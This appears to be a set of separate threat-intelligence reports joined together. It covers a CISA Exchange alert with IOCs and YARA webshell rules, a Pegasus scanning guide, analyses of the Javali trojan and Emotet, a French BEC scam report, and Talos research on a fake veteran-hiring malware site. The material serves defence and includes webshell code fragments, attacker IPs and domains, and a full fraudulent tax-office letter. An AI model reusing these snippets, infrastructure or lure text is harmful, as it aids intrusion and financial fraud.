- Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
- Mozilla/5.0+(compatible;+Konqueror/3.5;+Linux)+KHTML/3.5.5+(like+Gecko)+(Exabot-Thumbnails)
- Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)
- Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)
- Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36
Volexity observed these user-agents in conjunction with exploitation to `/ecp/` URLs:
- ExchangeServicesClient/0.0.0.0
- python-requests/2.19.1
- python-requests/2.25.1
These user-agents were also observed having connections to post-exploitation web-shell access:
- antSword/v2.1
- Googlebot/2.1+(+http://www.googlebot.com/bot.html)
- Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
As with the non-standard user-agents, responders can examine internet information services (IIS) logs from Exchange Servers to identify possible historical activity. Also, as with the non-standard user agents, these should not be taken as definitive IOCs:
- POST /owa/auth/Current/
- POST /ecp/default.flt
- POST /ecp/main.css
- POST /ecp/<single char>.js
Volexity has seen attackers leverage the following IP addresses. Although these are tied to virtual private servers (VPSs) and virtual private networks (VPNs), responders should investigate these IP addresses on their networks and act accordingly:
- 103.77.192[.]219
- 104.140.114[.]110
- 104.250.191[.]110
- 108.61.246[.]56
- 149.28.14[.]163
- 157.230.221[.]198
- 167.99.168[.]251
- 185.250.151[.]72
- 192.81.208[.]169
- 203.160.69[.]66
- 211.56.98[.]146
- 5.254.43[.]18
- 5.2.69[.]14
- 80.92.205[.]81
- 91.192.103[.]43
Volexity has also provided the following YARA signatures that can be run within your network to assist in finding signs of a compromise.
```plaintext
rule webshell_aspx_simpleseesharp : Webshell Unclassified {
meta:
author = "[email protected]"
date = "2021-03-01"
description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
strings:
$header = "<%@ Page Language=\"C#\" %>"
$body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
condition:
$header at 0 and
$body and
filesize < 1KB
}
rule webshell_aspx_reGeorgTunnel : Webshell Commodity {
meta:
author = "[email protected]"
date = "2021-03-01"
description = "A variation on the reGeorg tunnel webshell"
hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
strings:
$s1 = "System.Net.Sockets"
$s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
$t1 = ".Split(‘|’)"
$t2 = "Request.Headers.Get"
$t3 = ".Substring("
$t4 = "new Socket("
$t5 = "IPAddress ip;"
condition:
all of ($s*) or
all of ($t*)
}
rule webshell_aspx_sportsball : Webshell Unclassified {
meta:
author = "[email protected]"
date = "2021-03-01"
description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
strings:
$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
$var1 = "Result.InnerText = string.Empty;"
$var2 = "newcook.Expires = DateTime.Now.AddDays("
$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
$var6 = "<input type=\"submit\" value=\"Upload\" />"
condition:
any of ($uniq*) or
all of ($var*)
}
```
A list of webshell hashes have also been provided by Microsoft:
- b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
- 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
- 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
- 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
- 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
- 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
- 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
- 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944
Note: this is not an all-inclusive list of indicators of compromise and threat actors have been known to use short-term leased IP addresses that change very frequently. Organizations that do not locate any of the IOCs in this Alert within your network traffic may nevertheless have been compromised. CISA recommends following the guidance located in the Microsoft Advisory to check your servers for any signs of a compromise.
**Conduct Forensic Analysis**
Should your organization see evidence of compromise, your incident response should begin with conducting forensic analysis to collect artifacts and perform triage. Please see the following list of recommendations on how to conduct forensic analysis using various tools.
Although the following free tools are not endorsed by the Federal Government, incident responders commonly use them to perform forensics. While collecting artifacts to perform triage, use processes and tools that minimize the alteration of the data being collected and that minimize impact to the operating system itself. Ideally, during data collection, store the data on removable/external media and, when possible, run the artifact collection tools from the same media.
Key artifacts for triage that should be collected:
- Memory
- All registry hives
- All windows event logs
- All web logs
Memory can be collected with a variety of open source tools (e.g., FTK Imager by AccessData, Ram Capture by Belkasoft). Registry and Windows Event logs can be collected with a variety of open source tools as well (e.g., FTK Imager, Kroll Artifact Parser and Extractor [KAPE]). Web logs can also be collected with a variety of open source tools (e.g., FTK Imager).
**Windows Artifact Collection Guide**
Execute the following steps in order.
1. Download the latest FTK Imager from https://accessdata.com/product-download/.
Note: Ensure your review of and compliance with the applicable license associated with the product referenced, which can be found in the product’s User Guide. The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.
2. Collect memory from live system using FTK Imager. See Memory Capture with FTK Imager.pdf for instructions. Note: Download and copy “FTK Imager” folder to an external drive. Run FTK Imager.exe from the FTK Imager folder from external drive. Wait until memory collect is complete before proceeding to step 2.
3. Collect important system artifacts using KAPE. See KAPE Collection Procedure. Note: Download KAPE from a separate system; do not download KAPE to the target system. Run KAPE from external drive.
4. Collect disk image using FTK Imager. See Live Image with FTK Imager.pdf for instructions. Note: Run FTK Imager.exe from the “FTK Imager” folder from external drive.
**Memory Capture with FTK Imager**
1. Open FTK Imager. Log into the system with Administrator privileges and launch “FTK Imager.”
Note: Ensure your review of and compliance with the applicable license associated with the product referenced. The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.
2. Open “Capture Memory." Select “Capture Memory…” from the File menu.
3. Select Path and Filenames. On the window that appears, use the “Browse” button to identify the destination of the memory capture. Save the memory capture to an external device and not the main hard drive of the system. Doing so will prevent the saved file from overwriting any dataspace on the system. Name the destination file with a descriptive name (i.e., hostname of the system). Select the box “Include pagefile” and provide a name of the pagefile that is descriptive of the system. Do not select “Create AD1 file.”
4. Capture Memory. Click on “Capture Memory” to begin the capture process. The process will take several minutes depending on the size of the pagefile and the amount of memory on the system.
**KAPE Collection Procedure**
1. Download KAPE from https://www.kroll.com/en/services/cyber-risk/investigate-and-respond/kroll-artifact-parser-extractor-kape.
2. Disable any antivirus or host protection mechanisms that prevent execution from removable media, or data loss prevention (DLP) mechanisms that restrict utilization of removable media. Enable antivirus and host protection once this process is completed.
3. Unzip Kape.zip and run gkape.exe as admin from your removable media.
4. Target source should be the drive on which the OS resides, typically C:.
5. Target destination should be an external drive folder, not the same drive as the Target source. If available, use an external hard drive or flash drive. A KAPE execution with these parameters will typically produce output artifacts with a total size of 1-25 GB. If you are going to be running KAPE on different machines and want to save to the same drive, ensure the Target destination folder is unique for each execution of KAPE.
6. Uncheck Flush checkbox (it is checked natively).
7. Check Add %d and Add %m checkboxes.
8. Select ALL checkboxes to ensure KAPE will target all available data that it is capable of targeting. This takes some time; use the down arrow and space bar to move through the list quickly.
9. Check Process VSCs checkbox.
10. Select Zip radio button and add Base name TargetOutput.
11. Ensure Deduplicate checkbox is checked (it is checked natively). At the bottom you should now see a large Current command line, similar to:
`.\kape.exe --tsource C: --tdest E:\%d%m --tflush --target !BasicCollection,!SANS_Triage,...`
In the bottom right corner hit the Execute! Button. Note: KAPE usually takes less than 20 minutes to complete on a workstation; if it is taking significantly longer there may be an issue.
**Mitigations**
CISA strongly recommends organizations read Microsoft’s advisory and security blog post for more information on how to look for this malicious activity and to apply critical patches as soon as possible.
(Updated March 4, 2021): CISA is aware of threat actors using open source tools to search for vulnerable Microsoft Exchange Servers. This particular type of attack is scriptable, allowing attackers to easily exploit vulnerabilities through automated mechanisms. CISA advises all entities to patch as soon as possible to avoid being compromised.
(Updated March 4, 2021): From Microsoft's patch release, the security updates are available for the following operating systems:
- Exchange Server 2010 (update requires SP 3 or any SP 3 RU – this is a Defense in Depth update)
- Exchange Server 2013 (update requires CU 23)
- Exchange Server 2016 (update requires CU 19 or CU 18)
- Exchange Server 2019 (update requires CU 8 or CU 7)
(Updated March 4, 2021): If you are running an older CU than what the patch will accept, you must upgrade to at least the required CU as stated above then apply the patch.
(Updated March 4, 2021): All patches must be applied using administrator privileges.
(Updated March 5, 2021): If patching is not an immediate option, CISA strongly recommends following alternative mitigations found in Microsoft’s blog on Exchange Server Vulnerabilities Mitigations. However, these options should only be used as a temporary solution, not a replacement for patching. Additionally, there are other mitigation options available. CISA recommends limiting or blocking external access to internet-facing Exchange Servers via the following:
- Restrict untrusted connections to port 443, or set up a VPN to separate the Exchange Server from external access; note that this will not prevent an adversary from exploiting the vulnerability if the attacker is already in your network.
- Block external access to on-premises Exchange:
- Restrict external access to OWA URL: `/owa/`.
- Restrict external access to Exchange Admin Center (EAC) aka Exchange Control Panel (ECP) URL: `/ecp/`.
(Updated March 4, 2021): Disconnect vulnerable Exchange servers from the internet until a patch can be applied.
CISA would like to thank Microsoft and Volexity for their contributions to this Alert. |
# Scanning your iPhone for Pegasus, NSO Group's malware
In collaboration with more than a dozen other news organizations, The Guardian recently published an exposé about Pegasus, a toolkit for infecting mobile phones that is sold to governments around the world by NSO Group. It’s used to target political leaders and their families, human rights activists, political dissidents, journalists, and so on, and surreptitiously download their messages, photos, location data, record their microphone, and otherwise spy on them. As part of the investigation, Amnesty International wrote a blog post with their forensic analysis of several compromised phones, as well as an open source tool, Mobile Verification Toolkit, for scanning your mobile device for these indicators. MVT supports both iOS and Android, and in this blog post we’ll install and run the scanner against my iOS device.
## Choosing your options
For iPhones, MVT can either run against a device backup or a full file system dump (which is only available from jailbroken devices). The device backup method has access to less forensic data than the filesystem dump but has the benefit that you don’t need to jailbreak your device. MVT conveniently documents which forensic artifacts are available to which method - the following artifacts are not available when using the backup method:
- cache_files.json
- net_usage.json
- safari_favicon.json
- version_history.json
- webkit_indexeddb.json
- webkit_local_storage.json
- webkit_safari_view_service.json
The same documentation link also explains what data each file contains and where it’s sourced from, and Amnesty’s blog post describes in more detail how each data type is relevant for detecting Pegasus. For instance, for the Safari favicon data (safari_favicon.json), they write:
> Although Safari history records are typically short lived and are lost after a few months (as well as potentially intentionally purged by malware), we have been able to nevertheless find NSO Group’s infection domains in other databases of Omar Radi’s phone that did not appear in Safari’s History. For example, we could identify visits through Safari’s Favicon.db database, which was left intact by Pegasus.
So if you have a jailbroken device you will get more complete Pegasus detection with the filesystem dump approach, but since my device is not jailbroken I’ll go with the device backup approach - it’s better than nothing. In fact, there is no publicly known jailbreak available for my iPhone model and version of iOS, so I don’t have a choice.
## Creating and checking your backup
To create and check your iPhone backup you can:
1. Build the MVT docker image:
```
git clone https://github.com/mvt-project/mvt.git
cd mvt
docker build -t mvt .
```
2. Create your backup:
The backup can be created either directly in Finder (prior to MacOS Big Sur this was done through iTunes), or using a library called libimobiledevice. For the Finder approach, plug your phone into your laptop, navigate to it in Finder, and click “Back Up Now” with these settings checked:
MVT only operates against decrypted backups so in the next step we’ll be decrypting everything anyway, but encrypted backups export more device data (such as your browsing history or wifi settings) so encrypting your backup will give you better detection. After the backup is created, click “Manage Backups”, then right-click on your backup and select “Show In Finder”, and copy the folder to somewhere easily accessible (say, to your desktop).
Or, if you’d prefer to create a backup using libimobiledevice instead of Finder:
```
# Install latest libimobiledevice
brew install --HEAD libimobiledevice
# Make a working directory
mkdir -p ~/Desktop/mvt
# Enable backup encryption - you'll be prompted for a password
idevicebackup2 -i backup encryption on
# Backup the device
idevicebackup2 backup --full ~/Desktop/mvt/
```
3. Now we can scan our backup:
```
docker run \
# Mount your desktop working directory into Docker
-v ~/Desktop/mvt:/home/cases/mvt \
# Run the MVT image
-it mvt
# Download Amnesty International's indicators of compromise
wget https://raw.githubusercontent.com/AmnestyTech/investigations/master/2021-07-18_nso/pegasus.stix2 -O pegasus.stix2
# We'll save our results here
mkdir mvt/results
# Decrypt the backup
mvt-ios decrypt-backup \
# The backup password you created
-p '<password>' \
# The directory to save the decrypted backup to
-d mvt/decrypted \
# The encrypted backup to decrypt
mvt/00008101-0018545E26F1003A/
# Scan the decrypted backup
mvt-ios check-backup \
# Path to our downloaded IoCs
--iocs pegasus.stix2 \
# Where to save the results
--output mvt/results \
# Path to the backup to scan
mvt/decrypted
```
And lastly we can interpret the results: If everything ran successfully you should have a number of json files in the mvt/results folder on your desktop. Any filenames ending in _detected.json indicate that some trace of Pegasus was found, and all other json files contain debug data about your scan results. If you have no _detected.json files then there were no Pegasus indicators found.
P.S. If you enjoy this kind of content feel free to follow me on Twitter: @arkadiyt |
# Latin American Javali Trojan Weaponizing Avira Antivirus
In the last few years, many banking trojans developed by Latin American criminals have increased in volume and sophistication. Although there is a strong adoption of technologies aimed at protecting the end user, such as plugins, tokens, e-tokens, two-factor authentication mechanisms, CHIP, and PIN cards, online fraud is still on the rise, with new tactics, techniques, and procedures (TTP) being implemented daily to evade antivirus and Endpoint Detection & Response systems.
In this article, we will delve into the details of the Javali trojan banker, introduced and tracked by the Kaspersky Team, targeting Latin American countries, including Brazil and Mexico, and their banking and financial organizations.
## Background of Latin American Trojans
The Javali trojan has been active since November 2017, targeting users of financial and banking organizations geolocated in Brazil and Mexico. By analyzing this piece of malware, we found that Javali uses the same routines and calls often observed in other Latin American trojans, such as Grandoreiro, URSA (aka Mispadu), Lampion, Vadokrist, Amavaldo, Casbaneiro (aka Metamorpho), and Mekotio.
In short, part of these trojan families use padding to enlarge the binary, empty sections, or even BPM images attached as a resource, as described in this article related to the Grandoreiro trojan. Other trojans use this technique to evade detection and execute malicious code on target machines, bypassing detection based on static file signatures.
Latin American trojans share the same modus operandi and even modules and blocks of code observed during the analysis of several malware samples. The following schema presents a high-level diagram of the workflow of the most popular Latin American trojans.
The malicious activity starts with a phishing email sent to target victims in Latin America (Brazil, Mexico, Chile, and Peru) and Europe (Spain and Portugal). The initial stage of these trojans is generally the execution of a dropper in the form of a VBS, JScript, or MSI file that downloads the trojan loader/injector from the Cloud (AWS, Google, etc.). After this step, the trojan itself, developed in Delphi, is executed in memory mainly using the DLL side-loading technique or DLL injection, creating persistence using a .lnk file in the Windows Startup folder or adding a new key in the machine registry (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) to ensure the malware is executed every time the infected machine starts.
The malware obtains details from the infected machine and reports them to the C2 server, including the version of the Operating System (OS), architecture, the name of the installed antivirus and EDRs, computer name, and the victim’s geolocation.
From here, the malware executes a new thread when specific hardcoded web browsers are opened. The titles of accessed web pages are collected and compared with the target organizations and services hardcoded and defined by the crooks, generally the names of banking portals, cryptocurrency portals, and financial firms. If these conditions match, the windows overlay process starts, launching fake windows to lure victims.
## Discovering Javali Trojan Banker
The Javali trojan banker is one of the most popular trojan banker families in the wild. According to Kaspersky, Javali targets Portuguese- and Spanish-speaking countries, active since November 2017, primarily focusing on customers of financial institutions located in Brazil and Mexico.
Since details online about this threat are scarce, after a tweet from malware hunter @JAMESWT_MHT, we decided to go through the details of this specific trojan.
The Javali modus operandi is based on the workflow previously explained. After opening the URL distributed in the email body, a ZIP file is downloaded from the Internet. For this, cloud services are often used by crooks, including Google, S3 Buckets from AWS, and MediaFire file sharing service.
In short, the phishing email is received by victims. By opening a URL, it downloads a ZIP file with an MSI executable inside. The MSI file contains a hardcoded JavaScript payload, which is executed via wscript.exe, creating persistence on the infected machine and downloading the final files from an AWS S3 bucket.
The Avira.exe file, a legitimate PE file from the Avira Antivirus firm, is then used as an injector to take advantage of a technique dubbed DLL side-loading, loading into memory a malicious DLL “Avira.OE.NativeCore.dll” as a child of a legitimate Parent Process ID (PPID).
When executed, the Javali trojan starts its operation and immediately retrieves the malware configuration from doc files available on Google Cloud. The trojan collects information from web browsers, searching for target tabs related to hardcoded banking/financing portals and starts the malicious overlay activity presenting fake windows to victims.
## Javali Injector – Weaponizing Avira Legitimate Executable
Javali trojan takes advantage of a legitimate executable from Avira Antivirus firm to inject into memory a malicious DLL that impersonates the legitimate DLL: Avira.OE.NativeCore.dll. This technique is known as DLL side-loading or DLL hijacking, abusing vulnerabilities that occur when Windows Side-by-Side (WinSxS) manifests are not explicit enough about the characteristics of the DLL to be loaded.
DLL side-loading is used as the favored execution method by Latin American threat groups, and 22 different binaries have been abused to load malicious code into memory.
As observed, the injector is a legitimate file with a valid digital signature from Avira Operations GmbH & Co. KG. Legitimate applications are digitally signed with an Authenticode certificate, which is seen as a token of trust, making it less alarming to users when requesting elevated privileges.
If the User Account Control (UAC) prompts the victim that the antivirus engine wants to make changes to the system, users are less likely to question it. Many antivirus and Endpoint Detection & Response systems can be bypassed using this vulnerability, as the injector is legitimate, code-signed, authentic, and comes from a well-known security firm – Avira.
## Final Stage – Javali Trojan Banker
Javali trojan communicates with Google Docs files to obtain its configuration, including the address of the C2 server. If it cannot connect to the address, it uses a hardcoded one. The strings of the Google Docs files are encrypted, and the algorithm used to encrypt strings comes from the “Mestres da Espionagem Digital” book, also used in another Latin American banking trojan such as Casbaneiro.
Javali also adopts another third-party library named IndyProject for communication with the C2. Indy is an open-source client/server communications library that supports TCP/UDP/RAW sockets, as well as over 100 higher-level protocols.
From the analysis of Javali’s sample, information about the C2 was extracted. The domain has been used for a long time by Brazilian criminals in campaigns.
As with many other banking trojans, Javali supports several backdoor commands, including obtaining screenshots, logging keystrokes, downloading and executing further payloads, restricting access to various banking websites, mouse and keyboard simulation, blocking access to various Windows applications during malware execution, self-updating, and stealing credentials from several email services and banking/financial portals.
## Final Thoughts
Javali is a potent piece of malware, primarily capable of stealing banking information and other personal information from the user machine and sending it to the C2 server. This trojan abuses a legitimate injector from Avira to create a child process and load a protected DLL with the trojan operations into memory. With this technique, bypassing some AV and EDR is possible, allowing the trojan activity to masquerade for a long time.
From Javali’s analysis, we conclude that Latin American operators are sharing code between different trojans such as Lampion, URSA, Grandoreiro, and Casbaneiro. The trojan is a dangerous weapon, capable of self-updating, capturing keystrokes and mouse movements, taking screenshots, blocking access to several Windows-based applications and banking and financial portals, and starting the windows overlay process when a legitimate portal is accessed. |
# Emotet Stops Using 0.0.0.0 in Spambot Traffic
## Introduction
Last week, I wrote a diary about Emotet using 0.0.0.0 in its spambot traffic instead of the actual IP address of the infected Windows host. Shortly after that diary, Emotet changed from using 0.0.0.0 to using the victim's IP address, but with the octet values listed in reverse order.
## Details
During a recent Emotet infection on Tuesday 2022-01-24, my infected Windows host was using 173.66.46.112 as its source IP. Note that my source IP has been edited for this diary to sanitize/disguise the actual IP address.
As seen in the image, the following DNS queries were made:
- 173.66.46.112 spam.abuse.ch
- 173.66.46.112.b.barracudacentral.org
- 173.66.46.112.bl.mailspike.net
- 173.66.46.112.spam.dnsbl.sorbs.net
- 173.66.46.112.zen.spamhaus.org
Again, I normally see the octet order reversed with other malware like Trickbot. This reversed order also appeared during SMTP traffic with the command ELHO [112.46.66.173].
Twitter discussion for last week's diary indicates Emotet developers may have broken something in the spambot module to produce the previous 0.0.0.0 traffic. I'm not sure if this new traffic—the reversed order of the victim's IP address—is intentional or not.
## Final words
You can find up-to-date indicators for Emotet malware samples, URLs, and C2 IP addresses at:
- urlhaus.abuse.ch/browse/tag/emotet/
- feodotracker.abuse.ch/browse/emotet/
- bazaar.abuse.ch/browse/tag/Emotet/
- threatfox.abuse.ch/browse/malware/win.emotet/
---
Brad Duncan
brad [at] malware-traffic-analysis.net |
# French Companies Under Attack from Clever BEC Scam
The highly anonymous and often secretive nature of the internet has led to the proliferation of scams aimed at separating people and organizations from their money. Trend Micro has been following these scams over the years and has seen many of them evolve from simplistic schemes to more sophisticated campaigns. One of the most dangerous scams today — one which cost organizations a combined US$1.7 billion in exposed losses in 2019 — is Business Email Compromise (BEC).
We have already tackled a large number of BEC-related topics. In this article, however, we would like to raise awareness about a new modus operandi involving a very clever BEC campaign that uses social engineering to target a huge number of French companies across different industries.
## Background
While investigating various BEC attacks, we found an isolated incident where malicious actors impersonated a French company in the metal fabrication industry, which provides its services to a lot of different companies. The malicious actors behind the scam registered a domain that is very similar to the legitimate one used by the business (with the fake one having a misspelled company name) and used it to send emails to their targets. The fraudulent domain was registered on July 27, 2020, and the perpetrators sent the fraudulent email on the same day.
The email, which was impersonating a real employee of the company, contained a request asking the targets to change the company’s banking reference to a new account with an Italian bank.
The email contained two PDF file attachments. The first one was a letter to confirm the change. The second PDF file showed the banking account reference number.
Note that as soon as we noticed the scam, we reached out to the targeted company (who was incredibly responsive) and worked with them to prevent it from affecting their organization. In addition, they had filed a complaint and reached out to the Italian bank to stop the fraud attempt.
## Initial Investigation
We found references on the company website showing that the alleged sender of the fraudulent email is an actual employee of the target company. However, instead of working in the accounting department, as seen in the email, the person actually worked as a webmaster. It’s possible that the fraudsters chose a random person based on the information they found prior to their scheme and decided to use it for their operation.
Interestingly enough, the fraudsters committed several mistakes:
- They forgot to change the target name in the header of the email content, therefore leaking the name of another target. A perceptive employee could potentially identify this as something unusual, which raises red flags.
- We found another version of the PDF file that revealed the account being used for the bank reference change had the name of an individual and was not registered under the name of the target company.
We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.
## Delving Deeper into the Scam
The email address used to register the fraudulent domain has been used to register several other domains since 2019, all of them showing similar names to legitimate French company domains, but again with slight errors here and there (for example using “techrnologies” instead of “technologies”).
| Domain | Creation Date |
|------------------------------------|---------------|
| eltn[.]fr | 8/23/2019 |
| chnonopost[.]fr | 9/30/2019 |
| sfrbiz[.]fr | 11/24/2019 |
| ouflook[.]fr | 12/9/2019 |
| carre-haussrmann[.]fr | 12/10/2019 |
| 4a-archifectes[.]fr | 1/16/2020 |
| harribeyconstuctions[.]fr | 2/5/2020 |
| stanvwell[.]r | 5/28/2020 |
| paretsarl[.]fr | 6/17/2020 |
| tkl-consutling[.]fr | 6/29/2020 |
| axa-etancheite[.]fr | 7/1/2020 |
| garantiesdesdepots[.]fr | 7/6/2020 |
| jacormex[.]fr | 7/14/2020 |
| harribeyconsstructions[.]fr | 7/15/2020 |
| transportcazaux[.]fr | 7/17/2020 |
| atg-techrnologies[.]fr | 7/22/2020 |
| cephii.eu | 7/27/2020 |
| efiiltec[.]fr | 7/27/2020 |
| benne-rci[.]fr | 7/28/2020 |
| soterm[.]fr | 7/29/2020 |
| phamasys[.]fr | 7/31/2020 |
| huuaume.fr | 08/05/2020 |
| larm-inox[.]fr | 8/13/2020 |
The email address used did not seem to have been compromised and was probably created by the malicious actors themselves. This list also reveals that the attackers are targeting a wide swath of industries, probably in an opportunistic manner. While we could not confirm that all of these domains have been used to commit BEC fraud, we did find at least one additional case in which the fraudsters targeted an organization that was part of the healthcare industry.
## Impersonating the French Tax System
In many BEC schemes, the perpetrators infect the machines of their targets with malware that will allow them to read — and therefore gather information — from emails. Once the cybercriminals gain access to the mailboxes of their targets, they search for material on the people involved with the organization's finance and accounting departments. In addition, the attackers also look for information on the company’s customers and partners. Using this method, BEC scammers can then impersonate an employee to entice a victim to carry out their goals via social engineering.
This is BEC as we usually know it. We found evidence that the cybercriminals involved in this case had used malware as well, but ultimately, they did not really even need it. Instead, they used an alternative — and admittedly clever — method of hunting for their target’s financial data themselves.
With the help of the organization that the scam targeted, we were able to determine the initial approach the cybercriminals used: they presented their emails to appear as if it was from the French tax system to gather information on their target. A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:
The email contained an attached PDF file that seemed to be a letter from the French Tax service. Essentially, the PDF file contains a request from the spoofed government organization asking the target company for information on their customers, employees, and other financial data. The text also adds to the urgency of the request by mentioning possible fines if the target organization refuses to cooperate.
The translation of the text found in the PDF file is as follows:
> As happens every year, in accordance with the Stability and Growth Pact with the European Commission, the Directorate General of Public Finances is launching an investigation as part of the verification of compliance with SEPA (Single Euro Payments Area) conditions and international standards.
>
> As such, in accordance with the provisions of articles L.81, L.85 and article L.102 B of the book of tax procedures, I would like to have, as soon as possible and no later than July 20, 2020, in dematerialized form, for each of your three (3) main Customers who pay their services by SEPA (Single Euro Payments Area) transfer for the period from 04/01/2020 to 07/31/2020 of: The aging balance to date, duplicate invoice correspondents (Not having been paid by the customer and concerning the June, July and August deadlines), contacts of the financial or accounting department (Emails, Telephones and Postal address) and one (1) duly signed and sealed commercial contract.
>
> I would point out that this operation does not constitute a verification of your tax situation and indicates to you that any refusal to cooperate is sanctioned by a tax fine provided for in article 1734 of the general tax code.
>
> I invite you to send us these documents in dematerialized form on our secure and functional messaging: odac@dgfip-finances-gouv[.]cloud
>
> While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.
The PDF letter looks (and reads) like a real document from the French tax service. In fact, most French people would probably think this is a legitimate letter unless they look closely at the email address used (dgfip-finances-gouv[.]cloud instead of the real domain, which is dgfip.finances.gouv.fr).
As we highlighted in bold, the social engineering trick used in this email is for gathering data that could potentially be useful for the malicious actors, such as client information and commercial contracts. Once this information is in the hands of the scammers, they can then move on to the next stage of the attack, which involves reaching out to the three contacts mentioned in the PDF file.
One interesting side note: it seems the BEC scammers actually built their PDF file from a real PDF file used by the French tax system. The real name of the author of the document (as seen in the metadata) is indeed the name of a real government employee working in the department responsible for handling tax-related issues.
The use of tax-related scams is something we’ve seen before. This incident confirms that the information stolen using tax fraud is being used for malicious purposes, in this case, a BEC scam.
## Expanding the Target Range
We searched our systems for similar emails and found at least 73 different French companies targeted by these cybercriminals. Organizations in the manufacturing sector were by far the most targeted. The most targeted industry in this BEC campaign is manufacturing, particularly manufacturing companies that build high-tech products and materials. This was followed by the healthcare, real estate, energy, and food and beverage industries. Many of the targeted companies work with many different service providers and partners, making requests for changes in banking references look less suspicious. It’s highly likely that the fraud is more widespread than we have data on.
In addition to reaching out and working with the first organization we investigated, we also notified the other targets, all of whom have been very reactive to the threat. We also helped close the fraudulent domains.
## Defending Your Organization from BEC Attacks
Businesses are advised to educate employees on how BEC scams and other similar attacks work. These schemes do not require advanced technical skills: all that’s needed to launch an effective BEC scam is a single compromised account and services that are widely available in the cybercriminal underground.
As such, here are some tips on how to stay safe from these online schemes:
- Carefully scrutinize all emails. Be wary of irregular emails sent by high-level executives, especially those that have an unusual sense of urgency, as they can be used to trick employees into furthering the scam. Always review emails requesting funds to determine if the requests are out of the ordinary.
- Raise employee awareness. While employees are a company’s biggest asset, they can also be its weakest link when it comes to security. Commit to training employees, reviewing company policies, and developing good security habits.
- Verify any changes in vendor payment location by using a secondary sign-off by company personnel.
- Stay updated on customer habits, including the details and reasons behind payments.
- Always verify requests. Confirm requests for fund transfers using phone verification as a part of two-factor authentication (2FA), using known familiar numbers and not the details provided in the email requests.
- Report any incident immediately to law enforcement or file a complaint with the Internet Crime Complaint Center (IC3).
## Trend Micro Solutions
**Email**
The email security capabilities of the Trend Micro User Protection and Network Defense solutions can block email messages used in Business Email Compromise attacks.
**Malware**
Endpoint security capabilities in Trend Micro User Protection and Network Defense solutions can detect advanced malware and other threats used in BEC schemes.
**Indicators of Compromise (IoCs)**
**Domains**
- dgfip-finances-gouv[.]cloud
- [email protected] |
# How Tortoiseshell Created a Fake Veteran Hiring Website to Host Malware
By Warren Mercer and Paul Rascagneres with contributions from Jungsoo An.
## Introduction
Cisco Talos recently discovered a threat actor attempting to take advantage of Americans who may be seeking a job, especially military veterans. The actor, previously identified by Symantec as Tortoiseshell, deployed a website called hxxp://hiremilitaryheroes[.]com that posed as a website to help U.S. military veterans find jobs. The URL is strikingly close to that of legitimate websites, such as www.hiringourheroes.org. The site prompted users to download an app, which was actually a malware downloader, deploying malicious spying tools and other malware.
This is just the latest action by Tortoiseshell. Previous research showed that the actor was behind an attack on an IT provider in Saudi Arabia. For this campaign, Talos tracked Tortoiseshell using the same backdoor that it has in the past, showing that they are relying on some of the same tactics, techniques, and procedures (TTPs).
## Fake Veteran Hiring Website
The fake website, called "Hire Military Heroes" (hxxp://hiremilitaryheroes[.]com/), immediately goes after veterans with an image from the movie "Flags of our Fathers." The website is only composed of three links to download a desktop app for free. The app is a fake installer. Contrary to standard malware installers, this one does not need to be silent, as the user expects an installation. The user interface displays an error message suggesting something has "stopped" the app from accessing its database.
The progress bar almost fills up entirely, then displays an error message. The installer checks if Google is reachable. If not, the installation stops. If it is reachable, the installer downloads two binaries from hxxp://199[.]187[.]208[.]75/MyWS.asmx/GetUpdate?val=UID:
The downloaded binaries are stored in base64. One of the binaries is a tool used to perform a reconnaissance stage on the system, and the second is the Remote Administrative Tool (RAT). The RAT is executed as a service. The installer installs the service first (for the -install argument) and then stops/starts the service with the command and control (C2) server IP in the argument.
